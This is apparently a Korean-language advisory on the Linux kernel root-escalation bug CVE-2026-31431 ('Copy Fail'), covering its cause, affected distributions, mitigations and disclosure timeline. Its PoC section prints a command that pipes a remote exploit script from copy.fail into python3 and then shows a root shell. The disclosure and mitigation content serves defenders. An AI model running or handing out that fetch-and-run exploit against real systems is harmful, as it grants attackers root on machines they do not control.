← 목록으로

732바이트로 모든 리눅스를 뚫다: 근 10년간 잠복한 역사급 취약점

itadol5j

Copy Fail 취약점

🚨 역사급 취약점: 732바이트로 모든 리눅스를 무력화, 근 10년간 잠복

이름이“Copy Fail”인 리눅스 커널 취약점(CVE-2026-31431)이 공개 공시되었습니다:

  • 732바이트짜리 Python 스크립트
  • 100% 신뢰할 수 있으며, 경쟁 상태(race) 창이나 커널 오프셋이 필요 없음
  • 모든 리눅스 배포판에 영향(2017년부터 현재까지)
  • 컨테이너 탈출 프리미티브, 테넌트 간 공격 가능
  • 근 10년간 잠복, 2026년 4월 29일에 공개될 때까지

동일한 스크립트가Ubuntu, RHEL, Amazon Linux, SUSE모두에서 수정 없이 작동합니다.

🎯 취약점의 핵심

단일 논리 결함

Copy Fail은직선형 논리 결함입니다:

  • 경쟁 상태 창 불필요: 대부분의 리눅스 LPE와 달리 경쟁 상태가 필요하지 않음
  • 커널 오프셋 불필요: 커널별 오프셋이 필요하지 않음
  • 100% 신뢰성: 매번 성공
  • 동일한 스크립트: 모든 배포판에서 작동

취약점 체인

Copy Fail의 공격 체인:

  • authencesn 논리 오류: 하나의 논리 버그
  • AF_ALG: 커널 crypto API를 통해
  • splice(): 체인 호출
  • 4바이트 page-cache 쓰기: 최종 공격 프리미티브
  • 근 10년간 악용 가능: 2017년부터 패치 공개까지

📊 영향 범위

공식 검증된 배포판

배포판 커널 버전 상태
Ubuntu 24.04 LTS 6.17.0-1007-aws ✅ 검증됨
Amazon Linux 2023 6.18.8-9.213.amzn2023 ✅ 검증됨
RHEL 10.1 6.12.0-124.45.1.el10_1 ✅ 검증됨
SUSE 16 6.12.0-160000.9-default ✅ 검증됨

기타 영향받는 배포판

다음 배포판들도동일하게 영향을 받습니다:

  • Debian
  • Arch Linux
  • Fedora
  • Rocky Linux
  • AlmaLinux
  • Oracle Linux
  • 임베디드 Linux

결론: 커널이 2017년 이후 패치 이전에 빌드되었다면——영향을 받습니다.

💡 고위험 시나리오

시나리오 위험도 영향
멀티테넌트 리눅스 호스트 높음 어떤 사용자든 root로 승격
Kubernetes / 컨테이너 클러스터 높음 컨테이너 간, 테넌트 간 공격
CI Runner / Build Farm 높음 PR이 runner의 root로 실행
Cloud SaaS 사용자 코드 실행 높음 테넌트가 host root로 승격
표준 리눅스 서버 중간 내부 LPE, 체인 공격 가능
단일 사용자 노트북 낮음 포스트 익스플로잇 권한 상승 단계

🔧 완화 조치

방안 1: 커널 업데이트(권장)

커널을mainline commit a664bf3d603d이 포함된 버전으로 업데이트하세요:

  • 수정 내용: 2017년의 algif_aead in-place 최적화를 되돌림
  • 효과: page-cache 페이지가 더 이상 쓰기 가능한 destination scatterlist에 나타나지 않음
  • 상태: 대부분의 주요 배포판이 패치를 배포 완료

방안 2: algif_aead 모듈 비활성화(임시)

# 禁用 algif_aead 模块
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

algif_aead 비활성화의 영향

구성 요소 영향
dm-crypt / LUKS 영향 없음
kTLS / IPsec 영향 없음
OpenSSL / SSH 영향 없음
AF_ALG 사용자 공간 영향 가능

결론: 대부분의 시스템에서 algif_aead를 비활성화해도뚜렷한 영향이 없습니다.

방안 3: seccomp로 AF_ALG 차단

신뢰할 수 없는 워크로드(컨테이너, 샌드박스, CI)의 경우 seccomp로 AF_ALG 소켓 생성을 차단하세요:

# 检查 AF_ALG 使用
lsof | grep AF_ALG
ss -xa

🚀 PoC 데모

취약점 PoC가 공개되어 defender들이 시스템을 검증할 수 있습니다:

빠른 실행

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

PoC 세부 정보

  • 파일 크기: 732바이트
  • 언어: Python 3.10+ 표준 라이브러리만 사용(os, socket, zlib)
  • 기본 타깃: /usr/bin/su
  • SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9

경고: 스크립트는 setuid 바이너리의 page cache를 수정합니다. 변경 사항은 재부팅 후 유지되지 않지만 root shell은 실제입니다. 프로덕션 환경에서 실행하지 마세요.

📅 공개 타임라인

날짜 이벤트
2026-03-23 리눅스 커널 보안팀에 보고
2026-03-24 최초 확인
2026-03-25 패치 제안 및 검토
2026-04-01 패치가 mainline에 제출
2026-04-22 CVE-2026-31431 할당
2026-04-29 공개 공시

🔍 발견자: Xint Code

취약점은Xint Code가 발견했습니다:

  • 스캔 시간: 약 1시간 동안 리눅스 crypto/ 서브시스템 스캔
  • 발견 방식: AI 기반 코드 감사
  • 전체 분석: root cause, diagrams, operator prompt
  • 기타 발견 사항: 동시에 다른 심각도 높은 취약점들도 발견되었으며, 아직 조율 공개가 진행 중

Xint Code의 실적

  • 0-day RCE: ZeroDay Cloud, 데이터베이스 부문 석권(Redis, PostgreSQL, MariaDB)
  • DARPA AIxCC Top 3: DARPA AI Cyber Challenge 결승 진출
  • DEF CON CTF 9×: DEF CON CTF 역사상 최다 우승 팀

📝 요약

Copy Fail(CVE-2026-31431)은역사급 리눅스 커널 취약점입니다:

  • 732바이트로 모든 리눅스를 무력화(2017년부터 현재까지)
  • 100% 신뢰성, 단일 논리 결함
  • 컨테이너 탈출, 테넌트 간 공격
  • 근 10년간 잠복, 2026년 4월 29일에 공개
  • 고위험 시나리오: 멀티테넌트 호스트, 컨테이너 클러스터, CI Runner, SaaS
  • 완화: 커널 업데이트 또는 algif_aead 비활성화
  • 발견자: Xint Code, AI 기반 코드 감사

근 10년 만의 역사급 취약점, 단 하나의 스크립트로 모든 리눅스를 무력화합니다.

취약점 공식 사이트:https://copy.fail

GitHub PoC:https://github.com/theori-io/copy-fail-CVE-2026-31431

기술 분석:https://xint.io/blog/copy-fail-linux-distributions

커널 패치:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5